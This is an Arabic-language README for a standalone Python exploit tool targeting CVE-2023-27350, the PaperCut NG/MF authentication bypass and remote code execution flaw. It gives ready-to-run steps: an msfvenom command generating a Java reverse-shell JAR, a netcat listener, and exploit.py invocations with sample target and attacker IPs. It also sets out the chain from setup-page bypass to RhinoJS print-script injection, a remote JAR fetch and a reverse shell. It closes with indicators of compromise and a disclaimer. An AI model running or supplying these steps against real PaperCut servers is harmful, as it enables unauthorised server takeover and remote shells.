CVE-2023-27350 — تجاوز المصادقة وتنفيذ الأوامر عن بعد في PaperCut NG/MF

أداة استغلال مستقلة بلغة Python للثغرة الحرجة الخاصة بتجاوز المصادقة وتنفيذ الأوامر عن بعد في PaperCut NG/MF. درجة الخطورة CVSS 9.8.

الوصف

تؤثر CVE-2023-27350 على PaperCut NG وMF في الإصدارات السابقة للإصدارات 20.1.7 و21.2.11 و22.0.9. تسمح الثغرة لمهاجم غير مصادَق بالوصول إلى نقطة النهاية /app?service=page/SetupCompleted — وهي صفحة إعداد كان من المفترض أن تكون قابلة للوصول فقط أثناء التثبيت الأولي — والحصول على جلسة إدارية صالحة بدون أي بيانات اعتماد.

بامتلاك صلاحيات المسؤول، يمكن للمهاجم تفعيل آلية كتابة النصوص البرمجية للطباعة في PaperCut وحقن كود عشوائي يُنفَّذ بواسطة JVM للخادم، مما يؤدي إلى تنفيذ أوامر عن بعد كامل (RCE) في سياق مستخدم الخدمة.

الإصدارات المتأثرة

الفرع	الإصدار المُصحَّح
20.x	20.1.7
21.x	21.2.11
22.x	22.0.9

الإصدارات 18.x والأقدم لم تحصل على تصحيح رسمي.

التنفيذات المرجعية

طُوِّر هذا الاستغلال بناءً على تحليل تنفيذين عامين:

1. horizon3ai/CVE-2023-27350 (Python)

المستودع: https://github.com/horizon3ai/CVE-2023-27350
المنهجية: يستخدم Runtime.exec() مع سلسلة نصية عادية لتنفيذ الأوامر
القيود: Runtime.exec(String) لا يعالج رموز shell الميتاشخصية (>&، |، 0>&1)، مما يجعل حمولات الـ reverse shell غير فعّالة. كما أن النص البرمجي يحدّد معرف الطابعة (l1001) بشكل ثابت ويتحقق من سلاسل النجاح باللغة الإنجليزية فقط، مما يجعله يفشل مع الإصدارات غير الإنجليزية
افتراض خاطئ للمحرك: لا يراعي أن PaperCut يستخدم RhinoJS (وليس BeanShell)، مما يسبب أخطاء تركيبية في بعض حمولات Java

2. rapid7/metasploit-framework — تجاوز المصادقة في PaperCutNG

الوحدة: exploit/multi/http/papercut_ng_rce
المنهجية: تحميل ملف JAR من Metasploit إلى JVM عبر URLClassLoader، متجنباً أي اعتماد على shell
القيود: يتطلب إطار Metasploit الكامل ويُنتِج حمولة Java/Meterpreter؛ ليس من السهل تكييفه للاستخدام المستقل مع nc

المتطلبات

Python 3.x
requests
msfvenom (جزء من Metasploit Framework)
nc (netcat)

pip install requests

الاستخدام

1. إنشاء حمولة JAR

msfvenom -p java/shell_reverse_tcp \
  LHOST=<YOUR_IP> LPORT=<SHELL_PORT> \
  -f jar -o payload.jar

2. تشغيل مستمع

nc -lvnp <SHELL_PORT>

3. تشغيل أداة الاستغلال

python exploit.py \
  -u http://<TARGET>:9191 \
  -j payload.jar \
  -lh <YOUR_IP> \
  -lp <HTTP_PORT> \
  -rp <SHELL_PORT>

مثال:

python exploit.py \
  -u http://192.168.1.100:9191 \
  -j payload.jar \
  -lh 192.168.1.10 \
  -lp 9090 \
  -rp 4444

المعاملات

كيف يعمل

1. تجاوز المصادقة عبر /app?service=page/SetupCompleted
        ↓
2. الحصول على JSESSIONID إداري بدون بيانات اعتماد
        ↓
3. اختيار [طابعة قالبية] (l1001)
        ↓
4. حقن نص RhinoJS في حقل النص البرمجي للطباعة
        ↓
5. النص البرمجي يُنشئ URLClassLoader يشير إلى خادم HTTP الخاص بنا
        ↓
6. JVM الخاص بـ PaperCut يحمِّل وينفذ payload.jar
        ↓
7. Reverse shell

مؤشرات الاختراق (IoC)

الوصول إلى /app?service=page/SetupCompleted بدون جلسة سابقة
تعديل إعدادات print-and-device.script.enabled و print.script.sandboxed (الإصدارات >= 19)
اتصال HTTP خارجي من خادم PaperCut إلى عنوان IP خارجي
إنشاء URLClassLoader بعنوان URL خارجي في سجلات JVM

إخلاء مسؤولية قانوني

تم توفير أداة الاستغلال هذه للأغراض التعليمية والاستخدام المصرح به فقط (اختبار الاختراق، CTF، بيئات المختبرات). الاستخدام غير المصرح به ضد الأنظمة دون إذن صريح غير قانوني. المؤلف غير مسؤول عن أي استخدام خاطئ.

`-u` / `--url`	رابط PaperCut الأساسي	مطلوب
`-j` / `--jar`	مسار ملف payload.jar	مطلوب
`-lh` / `--lhost`	عنوان IP الخاص بك (سيتصل الهدف بهذا العنوان)	مطلوب
`-lp` / `--lport`	منفذ HTTP لتقديم ملف JAR	9090
`-rp` / `--rport`	منفذ الـ reverse shell	4444

الأكثر شعبية

PaperCut-Authentication_Bypass_and_RCE